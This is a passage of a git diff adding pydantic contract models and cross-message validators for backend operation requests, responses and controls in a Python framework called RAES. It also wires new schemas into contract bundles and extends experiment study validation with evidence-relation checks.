BACKEND_OPERATION_CONTROL_SCHEMA_VERSION, + BACKEND_OPERATION_REQUEST_SCHEMA_VERSION, +) +from .base import ContractModel, Rfc3339DateTimeString, _parse_rfc3339_datetime + +OperationIdentifier = Annotated[str, Field(min_length=1, max_length=256)] +OperationDigest = Annotated[str, Field(pattern=r"^sha256:[a-f0-9]{64}$")] +OperationCounter = Annotated[int, Field(strict=True, ge=0, le=9007199254740991)] +OperationPositive = Annotated[int, Field(strict=True, ge=1, le=9007199254740991)] +OperationGuarantee = Literal[ + "cancellation", "effect-observation", "cessation-evidence", "partial-effects", "external-fencing" +] + + +class OperationContractModel(ContractModel): + """Immutable bounded values; decoding a value supplies no authorization.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + + @model_validator(mode="after") + def _unique_collections(self) -> Self: + for name in type(self).model_fields: + values = getattr(self, name) + if isinstance(values, tuple) and len(values) != len(set(values)): + raise ValueError("operation collections must contain unique values") + return self + + +class OperationArtifactReferenceModel(OperationContractModel): + """Content-bound reference resolved through the owning admitted artifact authority.""" + + contract_id: Annotated[str, Field(max_length=128, pattern=r"^[a-z0-9]+(?:-[a-z0-9]+)*-v[0-9]+$")] + artifact_id: OperationIdentifier + digest: OperationDigest + + +class OperationBudgetModel(OperationContractModel): + """Remaining apparatus budget; the origin is retained across duplicate delivery.""" + + origin_id: OperationIdentifier + started_at: Annotated[Rfc3339DateTimeString, Field(max_length=64)] + limit_ms: OperationPositive + remaining_ms: OperationPositive + + @model_validator(mode="after") + def _budget_bounds(self) -> Self: + _parse_rfc3339_datetime("started_at", self.started_at) + if self.remaining_ms > self.limit_ms: + raise ValueError("remaining budget cannot exceed its original limit") + return self + + +class OperationEffectScopeModel(OperationContractModel): + """Target/run exclusion is the default; narrowing needs admitted independence.""" + + kind: Literal["target-run", "resources"] = "target-run" + addresses: tuple[CompiledAddress, ...] = Field(default=(), max_length=256) + independence: OperationArtifactReferenceModel | None = None + + @model_validator(mode="after") + def _scope_boundary(self) -> Self: + if self.kind == "target-run" and (self.addresses or self.independence is not None): + raise ValueError("target/run scope cannot carry a narrowed resource boundary") + if self.kind == "resources" and (not self.addresses or self.independence is None): + raise ValueError("resource scope requires addresses and admitted independence evidence") + return self + + +class BackendOperationBindingModel(OperationContractModel): + """Original context and invocation identity, including state-publication fences.""" + + operation_id: OperationIdentifier + invocation_id: OperationIdentifier + attempt_id: OperationIdentifier + worker_id: OperationIdentifier + deployment_id: OperationIdentifier + owner_generation: OperationCounter + execution_generation: OperationCounter + backend_id: OperationIdentifier + baseline_revision: OperationIdentifier + context: OperationAdmissionContext + effect_scope: OperationEffectScopeModel = Field(default_factory=OperationEffectScopeModel) + + +class BackendOperationRequestModel(OperationContractModel): + """Exact admitted command and requirements checked again immediately before dispatch.""" + + schema_version: Literal[BACKEND_OPERATION_REQUEST_SCHEMA_VERSION] = BACKEND_OPERATION_REQUEST_SCHEMA_VERSION + binding: BackendOperationBindingModel + command: OperationArtifactReferenceModel + requirement_refs: tuple[OperationArtifactReferenceModel, ...] = Field(default=(), max_length=64) + required_guarantees: tuple[OperationGuarantee, ...] = Field(default=(), max_length=5) + budget: OperationBudgetModel + + +class BackendOperationCapabilitiesModel(OperationContractModel): + """Installed provider declaration; neither willingness nor a conformance proof.""" + + schema_version: Literal[BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION] = ( + BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION + ) + backend_id: OperationIdentifier + revision: OperationDigest + supported_operation_kinds: tuple[OperationKind, ...] = Field(min_length=1, max_length=32) + guarantees: tuple[OperationGuarantee, ...] = Field(default=(), max_length=5) + + +class BackendOperationControlModel(OperationContractModel): + """Independently authorized, idempotent control/observation of the original invocation.""" + + schema_version: Literal[BACKEND_OPERATION_CONTROL_SCHEMA_VERSION] = BACKEND_OPERATION_CONTROL_SCHEMA_VERSION + binding: BackendOperationBindingModel + request_digest: OperationDigest + control_id: OperationIdentifier + actor_id: OperationIdentifier + authorization_scope: tuple[OperationIdentifier, ...] = Field(min_length=1, max_length=64) + action: Literal["cancel", "observe", "reconcile"] + budget: OperationBudgetModel diff --git a/implementations/python/packages/raes_contracts/contracts/backend_operation_response.py b/implementations/python/packages/raes_contracts/contracts/backend_operation_response.py new file mode 100644 index 000000000..6d21f5169 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/backend_operation_response.py @@ -0,0 +1,157 @@ +"""Backend reports are correlated evidence proposals, never runtime terminal commits.""" + +from __future__ import annotations + +from typing import Annotated, Literal, Self + +from pydantic import Field, StrictBool, model_validator + +from ..addressing import CompiledAddress +from ..operation_lifecycle import OperationState +from ..versions import BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION +from .backend_operation import ( + BackendOperationBindingModel, + OperationArtifactReferenceModel, + OperationContractModel, + OperationDigest, + OperationIdentifier, + OperationPositive, +) + +OperationRefusalReason = Literal[ + "unsupported-contract", + "unsupported-kind", + "unsupported-guarantee", + "context-refused", + "budget-exhausted", + "stale-binding", + "conflicting-effects", + "unavailable", +] + + +class BackendOperationAdmissionModel(OperationContractModel): + kind: Literal["admission"] = "admission" + disposition: Literal["willing", "refused"] + capability_digest: OperationDigest + reason: OperationRefusalReason | None = None + + @model_validator(mode="after") + def _refusal_reason(self) -> Self: + if (self.disposition == "refused") != (self.reason is not None): + raise ValueError("only a refused admission requires a refusal reason") + return self + + +class BackendOperationAcknowledgementModel(OperationContractModel): + kind: Literal["acknowledgement"] = "acknowledgement" + disposition: Literal["accepted", "refused"] + reason: OperationRefusalReason | None = None + + @model_validator(mode="after") + def _refusal_reason(self) -> Self: + if (self.disposition == "refused") != (self.reason is not None): + raise ValueError("only a refused acknowledgement requires a refusal reason") + return self + + +class BackendOperationProgressModel(OperationContractModel): + kind: Literal["progress"] = "progress" + phase: Literal["queued", "executing", "settling"] + evidence_refs: tuple[OperationArtifactReferenceModel, ...] = Field(default=(), max_length=32) + + +class BackendOperationControlDispositionModel(OperationContractModel): + kind: Literal["control"] = "control" + control_id: OperationIdentifier + control_digest: OperationDigest + disposition: Literal["recorded", "accepted", "refused", "unsupported", "already-terminal"] + + +class BackendOperationEffectsModel(OperationContractModel): + """Effect knowledge and cessation are independent, scoped backend assertions.""" + + effect: Literal["absent", "complete", "partial", "unknown"] + cessation_established: StrictBool + evidence_refs: tuple[OperationArtifactReferenceModel, ...] = Field(default=(), max_length=32) + residual_scope: tuple[CompiledAddress, ...] = Field(default=(), max_length=256) + residual_state: OperationArtifactReferenceModel | None = None + external_fence: OperationArtifactReferenceModel | None = None + + @model_validator(mode="after") + def _evidence_boundary(self) -> Self: + if (self.effect != "unknown" or self.cessation_established or self.external_fence) and not self.evidence_refs: + raise ValueError("known effects, cessation and external fencing require evidence") + self._validate_residual_state() + return self + + def _validate_residual_state(self) -> None: + if bool(self.residual_scope) != (self.residual_state is not None): + raise ValueError("residual scope and state must be reported together") + if self.effect == "partial" and self.residual_state is None: + raise ValueError("known partial effects require residual state and scope") + if self.effect == "absent" and self.residual_state is not None: + raise ValueError("absent effects cannot carry residual changes") + if self.residual_state and self.residual_state.contract_id != "runtime-snapshot-v1": + raise ValueError("residual state must reference the native runtime snapshot contract") + + +class BackendOperationOutcomeModel(OperationContractModel): + """Proposed outcome requiring RAE's native validation and atomic publication.""" + + kind: Literal["outcome"] = "outcome" + proposed_state: Literal[ + OperationState.SUCCEEDED, OperationState.FAILED, OperationState.CANCELLED, OperationState.INDETERMINATE + ] + effects: BackendOperationEffectsModel + satisfaction: Literal["satisfied", "unsatisfied", "unknown"] + release_gates_satisfied: StrictBool + cancellation_established: StrictBool + result: OperationArtifactReferenceModel | None = None + + @model_validator(mode="after") + def _honest_outcome(self) -> Self: + known = self.effects.effect != "unknown" and self.effects.cessation_established + if self.proposed_state != OperationState.INDETERMINATE and not known: + raise ValueError("unknown effects or unproved cessation require indeterminate outcome") + if self.proposed_state == OperationState.SUCCEEDED: + self._validate_success() + if self.proposed_state == OperationState.FAILED and self.satisfaction != "unsatisfied": + raise ValueError("known failure requires established non-satisfaction") + if self.cancellation_established != (self.proposed_state == OperationState.CANCELLED): + raise ValueError("only an established cancellation may propose cancelled") + return self + + def _validate_success(self) -> None: + if self.satisfaction != "satisfied" or not self.release_gates_satisfied or self.result is None: + raise ValueError("success requires complete satisfaction, result and release gates") + if self.effects.effect == "partial": + raise ValueError("partial effects cannot establish success") + + +class BackendOperationReconciliationModel(OperationContractModel): + """Observation for separately authorized resolution, with no replay instruction.""" + + kind: Literal["reconciliation"] = "reconciliation" + control_id: OperationIdentifier + control_digest: OperationDigest + effects: BackendOperationEffectsModel + + +BackendOperationMessage = Annotated[ + BackendOperationAdmissionModel + | BackendOperationAcknowledgementModel + | BackendOperationProgressModel + | BackendOperationControlDispositionModel + | BackendOperationOutcomeModel + | BackendOperationReconciliationModel, + Field(discriminator="kind"), +] + + +class BackendOperationResponseModel(OperationContractModel): + schema_version: Literal[BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION] = BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION + binding: BackendOperationBindingModel + request_digest: OperationDigest + sequence: OperationPositive + message: BackendOperationMessage diff --git a/implementations/python/packages/raes_contracts/contracts/backend_operation_schema.py b/implementations/python/packages/raes_contracts/contracts/backend_operation_schema.py new file mode 100644 index 000000000..c539d26bf --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/backend_operation_schema.py @@ -0,0 +1,56 @@ +"""Published operation schemas and their mandatory semantic validation bindings.""" + +from __future__ import annotations + +from typing import Any + +from .backend_operation import ( + BackendOperationCapabilitiesModel, + BackendOperationControlModel, + BackendOperationRequestModel, +) +from .backend_operation_response import BackendOperationResponseModel +from .schema_invariants import _add_raes_invariant + + +def backend_operation_schema_bundle() -> dict[str, dict[str, Any]]: + models = { + "backend-operation-request-v1": BackendOperationRequestModel, + "backend-operation-capabilities-v1": BackendOperationCapabilitiesModel, + "backend-operation-control-v1": BackendOperationControlModel, + "backend-operation-response-v1": BackendOperationResponseModel, + } + schemas = {} + for contract_id, model in models.items(): + schema = model.model_json_schema() + _add_raes_invariant( + schema, + "backend-operation-local-consistency", + "Validate unique collections, calendar instants, budget bounds, scope and honest effect/outcome claims; " + "structural validity does not prove backend truth or runtime authority.", + validator=f"raes_contracts.contracts.{model.__name__}.model_validate", + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) + schemas[contract_id] = schema + _add_raes_invariant( + schemas["backend-operation-response-v1"], + "backend-operation-response-binding", + "Require exact request binding and commitment, scoped residuals and independently bound controls when present.", + validator="raes_contracts.contracts.validate_backend_operation_response", + inputs=[ + {"contract_id": "backend-operation-request-v1", "instance_path": "#"}, + {"contract_id": "backend-operation-response-v1", "instance_path": "#"}, + ], + ) + _add_raes_invariant( + schemas["backend-operation-capabilities-v1"], + "backend-operation-contextual-admission", + "Before invocation require installed support, matching declaration and current exact-context willingness.", + validator="raes_contracts.contracts.require_backend_operation_admission", + inputs=[ + {"contract_id": "backend-operation-request-v1", "instance_path": "#"}, + {"contract_id": "backend-operation-capabilities-v1", "instance_path": "#"}, + {"contract_id": "backend-operation-response-v1", "instance_path": "#"}, + ], + ) + return schemas diff --git a/implementations/python/packages/raes_contracts/contracts/backend_operation_validation.py b/implementations/python/packages/raes_contracts/contracts/backend_operation_validation.py new file mode 100644 index 000000000..28f5c78a9 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/backend_operation_validation.py @@ -0,0 +1,163 @@ +"""Pure cross-message checks shared by transports and contract conformance readers.""" + +from __future__ import annotations + +from collections.abc import Sequence +from dataclasses import dataclass, field + +from ..canonical import canonical_json_digest +from .backend_operation import ( + BackendOperationCapabilitiesModel, + BackendOperationControlModel, + BackendOperationRequestModel, +) +from .backend_operation_response import ( + BackendOperationAcknowledgementModel, + BackendOperationAdmissionModel, + BackendOperationControlDispositionModel, + BackendOperationMessage, + BackendOperationOutcomeModel, + BackendOperationReconciliationModel, + BackendOperationResponseModel, +) + + +def backend_operation_request_digest(request: BackendOperationRequestModel) -> str: + return canonical_json_digest(request.model_dump(mode="json")) + + +def backend_operation_control_digest(control: BackendOperationControlModel) -> str: + return canonical_json_digest(control.model_dump(mode="json")) + + +def canonical_backend_operation_capabilities_digest(capabilities: BackendOperationCapabilitiesModel) -> str: + return canonical_json_digest(capabilities.model_dump(mode="json")) + + +def validate_backend_operation_response( + request: BackendOperationRequestModel, + response: BackendOperationResponseModel, + *, + control: BackendOperationControlModel | None = None, +) -> None: + """Reject foreign or stale evidence; this does not authenticate its producer.""" + + if response.binding != request.binding: + raise ValueError("backend operation binding mismatch") + if response.request_digest != backend_operation_request_digest(request): + raise ValueError("backend operation request commitment mismatch") + message = response.message + if isinstance(message, (BackendOperationControlDispositionModel, BackendOperationReconciliationModel)): + _validate_control(request, response, control) + if isinstance(message, (BackendOperationOutcomeModel, BackendOperationReconciliationModel)): + scope = request.binding.effect_scope + if scope.kind == "resources" and not set(message.effects.residual_scope) <= set(scope.addresses): + raise ValueError("residual effects exceed the admitted resource scope") + + +def _validate_control( + request: BackendOperationRequestModel, + response: BackendOperationResponseModel, + control: BackendOperationControlModel | None, +) -> None: + message = response.message + if control is None or control.binding != request.binding: + raise ValueError("control binding missing or mismatched") + if control.request_digest != response.request_digest: + raise ValueError("control request commitment mismatch") + if message.control_id != control.control_id or message.control_digest != backend_operation_control_digest(control): + raise ValueError("control identity or commitment mismatch") + if isinstance(message, BackendOperationReconciliationModel) and control.action not in {"observe", "reconcile"}: + raise ValueError("control action cannot supply reconciliation evidence") + + +def require_backend_operation_admission( + request: BackendOperationRequestModel, + capabilities: BackendOperationCapabilitiesModel, + response: BackendOperationResponseModel, +) -> None: + """Check declarations and exact-context willingness, never grant invocation authority.""" + + validate_backend_operation_response(request, response) + message = response.message + if not isinstance(message, BackendOperationAdmissionModel): + raise ValueError("backend admission response required") + if capabilities.backend_id != request.binding.backend_id: + raise ValueError("backend capability identity mismatch") + if request.binding.context.operation_kind not in capabilities.supported_operation_kinds: + raise ValueError("backend operation kind is unsupported") + if not set(request.required_guarantees) <= set(capabilities.guarantees): + raise ValueError("required backend operation guarantee is unsupported") + if message.capability_digest != canonical_backend_operation_capabilities_digest(capabilities): + raise ValueError("backend capability commitment mismatch") + if message.disposition != "willing": + raise ValueError("backend context refused") + + +def validate_backend_operation_history( + request: BackendOperationRequestModel, + responses: Sequence[BackendOperationResponseModel], + *, + controls: Sequence[BackendOperationControlModel] = (), +) -> None: + """Validate a bounded invocation transcript; no scheduling, effects or state mutation.""" + + if len(responses) > 1024 or len(controls) > 256: + raise ValueError("backend operation transcript exceeds its bound") + by_control = _index_controls(controls) + history = _InvocationHistory() + for response in responses: + message = response.message + control = by_control.get(message.control_id) if hasattr(message, "control_id") else None + validate_backend_operation_response(request, response, control=control) + history.accept(response) + + +def _index_controls(controls: Sequence[BackendOperationControlModel]) -> dict[str, BackendOperationControlModel]: + by_control: dict[str, BackendOperationControlModel] = {} + for control in controls: + if control.control_id in by_control and by_control[control.control_id] != control: + raise ValueError("duplicate control identity changed its commitment") + by_control[control.control_id] = control + return by_control + + +@dataclass +class _InvocationHistory: + """Transient transcript validation state; never persisted runtime authority.""" + + seen: dict[int, BackendOperationResponseModel] = field(default_factory=dict) + previous: int = 0 + terminal: bool = False + acknowledged: bool = False + + def accept(self, response: BackendOperationResponseModel) -> None: + if response.sequence in self.seen: + if self.seen[response.sequence] != response: + raise ValueError("duplicate response sequence changed its content") + return + if response.sequence <= self.previous: + raise ValueError("response sequence is stale or unordered") + self._advance(response.message) + self.seen[response.sequence] = response + self.previous = response.sequence + + def _advance(self, message: BackendOperationMessage) -> None: + if self.terminal and message.kind not in {"control", "reconciliation"}: + raise ValueError("terminal evidence cannot be rewritten") + if isinstance(message, BackendOperationAdmissionModel): + if self.acknowledged: + raise ValueError("admission must precede invocation acknowledgement") + self.terminal = message.disposition == "refused" + if isinstance(message, BackendOperationAcknowledgementModel): + if self.acknowledged: + raise ValueError("invocation cannot be acknowledged twice") + self.acknowledged = message.disposition == "accepted" + self.terminal = not self.acknowledged + self._execution_evidence(message) + + def _execution_evidence(self, message: BackendOperationMessage) -> None: + if message.kind in {"progress", "outcome"} and not self.acknowledged: + raise ValueError("execution evidence requires acknowledgement") + if isinstance(message, BackendOperationOutcomeModel): + self.terminal = True diff --git a/implementations/python/packages/raes_contracts/contracts/bundle.py b/implementations/python/packages/raes_contracts/contracts/bundle.py index 3de88c51c..6ae6986c3 100644 --- a/implementations/python/packages/raes_contracts/contracts/bundle.py +++ b/implementations/python/packages/raes_contracts/contracts/bundle.py @@ -7,9 +7,12 @@ from typing import Any from raes.canonical import InstantiatedScenarioSnapshot +from raes.materialization import MaterializedScenario from raes.scenario import InstantiatedScenario, Scenario from raes_contracts.artifact_requirements import ArtifactRequirementContractModel +from raes_contracts.augmentation_preparation import AugmentationPreparation +from raes_contracts.materialization import MaterializationSubmission from raes_contracts.observation_demand import ObservationDemandDocument from . import semantic_profiles, semantic_projection @@ -39,6 +42,8 @@ from .experiment_spec import ExperimentSpecModel, ExperimentStudyModel from .external_concept_bindings import ExternalConceptBindingDocumentModel from .manifests import ProcessorManifestV2Model +from .materialization_attestation import MaterializationArchiveRecord, attach_materialization_invariants +from .mixed_composition import MixedParticipantCompositionProfileModel from .participant_flow_control import ( ParticipantBoundaryFlowPolicyProfileModel, ) @@ -70,10 +75,12 @@ _raes_semantic_invariant_profile_schema_for_bundle, _validate_raes_semantic_invariant_annotations, ) +from .schema_factoring import factor_shared_schema from .schema_invariants import ( _add_raes_invariant, _attach_experiment_datetime_invariants, _attach_initial_service_state_invariants, + _attach_participant_temporal_invariants, _attach_raes_semantic_profile, _attach_stateful_resource_invariants, ) @@ -130,6 +137,7 @@ def _experiment_schema_bundle() -> dict[str, dict[str, Any]]: "experiment-study-v1": ExperimentStudyModel.model_json_schema(), "experiment-task-v1": ExperimentTaskModel.model_json_schema(), "admitted-trial-plan-v1": AdmittedTrialPlanModel.model_json_schema(), + "mixed-participant-composition-profile-v1": MixedParticipantCompositionProfileModel.model_json_schema(), "trial-cleanup-plan-v1": TrialCleanupPlanModel.model_json_schema(), "trial-cleanup-receipt-v1": TrialCleanupReceiptModel.model_json_schema(), "scheduler-isolation-proof-v1": SchedulerIsolationProofModel.model_json_schema(), @@ -158,6 +166,11 @@ def _experiment_schema_bundle() -> dict[str, dict[str, Any]]: def _core_schema_bundle() -> dict[str, dict[str, Any]]: + from raes_contracts.authoring_adapters import ( + AuthoringAdapterComparisonModel, + AuthoringAdapterProfileModel, + AuthoringAdapterVectorModel, + ) from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel from raes_contracts.realization_structure import RealizationConstraintDocument from raes_contracts.semantic_comparison import SemanticComparisonRequestModel, SemanticComparisonResultModel @@ -181,6 +194,10 @@ def _core_schema_bundle() -> dict[str, dict[str, Any]]: "sdl-authoring-input-v1": Scenario.model_json_schema(), "sdl-semantic-migration-context-v1": SDLSemanticMigrationContext.model_json_schema(), "instantiated-scenario-v1": InstantiatedScenario.model_json_schema(), + "materialized-scenario-v1": MaterializedScenario.model_json_schema(), + "backend-materialization-attestation-v1": MaterializationSubmission.model_json_schema(), + "backend-augmentation-scope-v1": AugmentationPreparation.model_json_schema(), + "materialization-archive-record-v1": MaterializationArchiveRecord.model_json_schema(), "instantiated-scenario-snapshot-v1": InstantiatedScenarioSnapshot.model_json_schema(), "scenario-instantiation-request-v1": InstantiationRequestModel.model_json_schema(), "artifact-requirement-v1": ArtifactRequirementContractModel.model_json_schema(), @@ -188,6 +205,9 @@ def _core_schema_bundle() -> dict[str, dict[str, Any]]: **transformation_schema_bundle(), "semantic-comparison-request-v1": SemanticComparisonRequestModel.model_json_schema(), "semantic-comparison-result-v1": SemanticComparisonResultModel.model_json_schema(), + "authoring-adapter-profile-v1": AuthoringAdapterProfileModel.model_json_schema(), + "authoring-adapter-vector-v1": AuthoringAdapterVectorModel.model_json_schema(), + "authoring-adapter-comparison-v1": AuthoringAdapterComparisonModel.model_json_schema(), "exploit-path-analysis-evidence-v1": ExploitPathAnalysisEvidenceModel.model_json_schema(), "scenario-satisfiability-evidence-v1": ScenarioSatisfiabilityEvidenceModel.model_json_schema(), "backend-manifest-v2": BackendManifestV2Model.model_json_schema(), @@ -237,6 +257,22 @@ def _schema_bundle_template() -> dict[str, dict[str, Any]]: # NOSONAR """Build the immutable-in-practice template used by :func:`schema_bundle`.""" bundle = _raw_schema_bundle() + _add_raes_invariant( + bundle["sdl-authoring-input-v1"], + "required-evidence-media-type-provable", + "Every declared required evidence media type must have a registered content-proof path; an explicit " + "output_contract must support every declared type.", + validator="raes.evidence_requirements.EvidenceRequirement._validate_capture_intent", + inputs=[{"contract_id": "sdl-authoring-input-v1", "instance_path": "#/evidence_requirements"}], + ) + _add_raes_invariant( + bundle["experiment-capture-spec-v1"], + "capture-media-type-provable", + "Every required media type must have a registered content-proof path and be supported by its " + "declared output_contract.", + validator="raes_contracts.contracts.ExperimentCaptureRequirementModel._validate_capture_requirement", + inputs=[{"contract_id": "experiment-capture-spec-v1", "instance_path": "#/capture_requirements"}], + ) _add_raes_invariant( bundle["behavioral-relations-v1"], "behavioral-relations-reference-resolution", @@ -420,11 +456,13 @@ def _schema_bundle_template() -> dict[str, dict[str, Any]]: # NOSONAR ], ) for contract_id, json_schema in bundle.items(): + attach_materialization_invariants(contract_id, json_schema) _attach_sdl_identifier_constraints(contract_id, json_schema) _attach_instantiation_invariants(contract_id, json_schema) _attach_experiment_datetime_invariants(contract_id, json_schema) _attach_stateful_resource_invariants(contract_id, json_schema) _attach_initial_service_state_invariants(contract_id, json_schema) + _attach_participant_temporal_invariants(contract_id, json_schema) _attach_json_schema_metadata(contract_id, json_schema) _attach_compiled_address_map_constraints(contract_id, json_schema) _attach_plan_identity_constraints(contract_id, json_schema) @@ -436,6 +474,7 @@ def _schema_bundle_template() -> dict[str, dict[str, Any]]: # NOSONAR json_schema=json_schema, known_contract_ids=known_contract_ids, ) + bundle["materialized-scenario-v1"] = factor_shared_schema(bundle["materialized-scenario-v1"]) return bundle diff --git a/implementations/python/packages/raes_contracts/contracts/bundle_runtime.py b/implementations/python/packages/raes_contracts/contracts/bundle_runtime.py index 31eb1146f..c0cb8a142 100644 --- a/implementations/python/packages/raes_contracts/contracts/bundle_runtime.py +++ b/implementations/python/packages/raes_contracts/contracts/bundle_runtime.py @@ -5,11 +5,17 @@ from typing import Any from .associated_artifacts import AssociatedArtifactManifestModel +from .backend_operation_schema import backend_operation_schema_bundle from .execution_state import EvaluationHistoryEventModel from .experiment_bindings import ParticipantConfigurationResultModel from .operation_carriers import OperationReceiptModel, OperationStatusModel from .participant_context import ParticipantContextViewModel from .participant_control import ParticipantControlOccurrenceModel +from .participant_control_applicability import ParticipantControlSelectionV2Model +from .participant_control_composition import ParticipantControlEvaluationModel +from .participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model +from .participant_control_profiles import ParticipantControlTeachingProfileModel +from .participant_control_selection import ParticipantControlSelectionModel from .participant_crossing import ParticipantCrossingOccurrenceModel from .participant_decision_surface import ParticipantDecisionSurfaceModel from .participant_decision_surface_v2 import ParticipantDecisionSurfaceV2Model @@ -27,6 +33,7 @@ from .participant_flow_control import ParticipantFlowControlRelationModel from .participant_information_state import ParticipantInformationStateRecordModel from .participant_observation import ParticipantObservationEnvelopeModel +from .participant_outcomes import ParticipantOutcomeReportV2Model from .participant_resource_budgets import ( ParticipantResourceBudgetEventModel, ParticipantResourceBudgetPolicyModel, @@ -48,10 +55,47 @@ _event_stream_schema, ) from .runtime_facts import RuntimeFactBindingPlaneModel +from .schema_invariants import _add_raes_invariant, _add_raes_plane + + +def _participant_control_schema_bundle() -> dict[str, dict[str, Any]]: + roots = { + "participant-control-selection-v1": ParticipantControlSelectionModel, + "participant-control-evaluation-v1": ParticipantControlEvaluationModel, + "participant-control-selection-v2": ParticipantControlSelectionV2Model, + "participant-control-evaluation-v2": ParticipantControlEvaluationV2Model, + } + schemas = {} + for contract_id, model in roots.items(): + schema = model.model_json_schema() + _add_raes_plane(schema, contract_id) + if contract_id == "participant-control-evaluation-v2": + validator = "raes_contracts.contracts.validate_participant_control_resolved_context_v2" + elif "evaluation" in contract_id: + validator = "raes_contracts.contracts.validate_participant_control_resolved_context" + elif contract_id.endswith("selection-v2"): + validator = "raes_contracts.contracts.ParticipantControlSelectionV2Model.model_validate" + else: + validator = "raes_contracts.contracts.ParticipantControlSelectionModel.model_validate" + _add_raes_invariant( + schema, + "participant-control-resolved-context" + if "evaluation" in contract_id + else "participant-control-selection-graph", + "Validate closed selection dependencies and exact trusted evaluation context; " + "structural validity is not execution authority.", + validator=validator, + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) + schemas[contract_id] = schema + schemas["participant-control-teaching-profile-v1"] = ParticipantControlTeachingProfileModel.model_json_schema() + return schemas def _runtime_schema_bundle() -> dict[str, dict[str, Any]]: return { + **backend_operation_schema_bundle(), + **_participant_control_schema_bundle(), "evaluation-history-event-stream-v1": _event_stream_schema( "EvaluationHistoryEventStream", EvaluationHistoryEventModel.model_json_schema(), @@ -82,6 +126,7 @@ def _runtime_schema_bundle() -> dict[str, dict[str, Any]]: "participant-crossing-occurrence-v1": ParticipantCrossingOccurrenceModel.model_json_schema(), "participant-flow-control-relation-v1": ParticipantFlowControlRelationModel.model_json_schema(), "participant-outcome-report-v1": ParticipantOutcomeReportModel.model_json_schema(), + "participant-outcome-report-v2": ParticipantOutcomeReportV2Model.model_json_schema(), "participant-status-view-v1": ParticipantStatusViewModel.model_json_schema(), "participant-history-view-v1": ParticipantHistoryViewModel.model_json_schema(), "participant-context-view-v1": ParticipantContextViewModel.model_json_schema(), diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_analysis.py b/implementations/python/packages/raes_contracts/contracts/experiment_analysis.py index 2fcc8d8d9..3718f6c5a 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_analysis.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_analysis.py @@ -6,6 +6,7 @@ from dataclasses import dataclass, field from typing import Any +from ..evidence_proof import ValidatedRunEvidence from .experiment_apparatus import ( ExperimentStochasticControlModel, ExperimentTaskModel, @@ -14,12 +15,12 @@ _experiment_reference_key, _format_reference, ) +from .experiment_capture import ExperimentCaptureSpecModel from .experiment_conditions import _run_satisfies_condition_assignment +from .experiment_evidence_refinement import validate_evidence_requirement_relations_against_artifacts from .experiment_references import ExperimentReferenceModel -from .experiment_run import ( - ExperimentRunEvidenceInputs, - ExperimentRunModel, -) +from .experiment_run import ExperimentRunModel +from .experiment_run_evidence_validation import ExperimentRunEvidenceInputs from .experiment_spec import ExperimentStudyModel from .experiment_study import ( ExperimentRunAllocationPlanModel, @@ -97,9 +98,7 @@ class _RunAllocationCoverageState: """Mutable accumulator for `_validate_study_run_allocation_coverage` classification.""" grouped_run_keys: dict[str, set[tuple[str, str | None]]] - validated_evidence_by_run: Mapping[tuple[str, str | None], tuple[ExperimentReferenceModel, ...]] = field( - default_factory=dict - ) + validated_evidence_by_run: Mapping[tuple[str, str | None], ValidatedRunEvidence] = field(default_factory=dict) condition_by_run_key: dict[tuple[str, str | None], str] = field(default_factory=dict) ungrouped_run_refs: list[str] = field(default_factory=list) unknown_groupings: list[str] = field(default_factory=list) @@ -135,7 +134,7 @@ def _classify_eligible_run_allocation_candidate( state: _RunAllocationCoverageState, ) -> None: assignment = allocation.condition_assignments[grouping] - validated_evidence = state.validated_evidence_by_run.get(run_key, ()) + validated_evidence = state.validated_evidence_by_run.get(run_key) missing_condition_inputs = _run_satisfies_condition_assignment(run, assignment, validated_evidence) if missing_condition_inputs: joined_missing_inputs = "|".join(sorted(missing_condition_inputs)) @@ -224,7 +223,7 @@ def _validate_study_run_allocation_coverage( study: ExperimentStudyModel, runs: list[ExperimentRunModel], evaluation_run_members: list[ExperimentStudyMembershipModel], - validated_evidence_by_run: Mapping[tuple[str, str | None], tuple[ExperimentReferenceModel, ...]], + validated_evidence_by_run: Mapping[tuple[str, str | None], ValidatedRunEvidence], ) -> None: allocation = study.run_allocation if allocation is None: @@ -407,11 +406,21 @@ def _validate_experiment_study_against_tasks_and_runs( runs: list[ExperimentRunModel] | None = None, *, evidence_by_run: Mapping[str, ExperimentRunEvidenceInputs] | None, + relation_scenarios: Mapping[str, Any] | None, + relation_capture_specs: Mapping[str, ExperimentCaptureSpecModel] | None, structural_only: bool, ) -> None: """Validate study-level analysis semantics against concrete task/run artifacts.""" runs = runs or [] + if not structural_only and study.evidence_requirement_relations: + if relation_scenarios is None or relation_capture_specs is None: + raise ValueError("study evidence relation validation requires resolved scenario and capture inputs") + validate_evidence_requirement_relations_against_artifacts( + study.evidence_requirement_relations, + scenarios=relation_scenarios, + capture_specs=relation_capture_specs, + ) matched_tasks = _resolve_and_validate_study_tasks(study, tasks) matched_runs, evaluation_run_members, matched_evaluation_runs = _resolve_and_validate_study_runs(study, runs) validated_evidence = validate_study_run_task_membership( @@ -439,6 +448,8 @@ def validate_experiment_study_structure_against_tasks_and_runs( tasks, runs, evidence_by_run=None, + relation_scenarios=None, + relation_capture_specs=None, structural_only=True, ) @@ -449,6 +460,8 @@ def validate_experiment_study_against_tasks_and_runs( runs: list[ExperimentRunModel] | None = None, *, evidence_by_run: Mapping[str, ExperimentRunEvidenceInputs] | None = None, + relation_scenarios: Mapping[str, Any] | None = None, + relation_capture_specs: Mapping[str, ExperimentCaptureSpecModel] | None = None, ) -> None: """Validate study semantics and content-backed evidence for every claimed run.""" @@ -457,5 +470,7 @@ def validate_experiment_study_against_tasks_and_runs( tasks, runs, evidence_by_run=evidence_by_run, + relation_scenarios=relation_scenarios, + 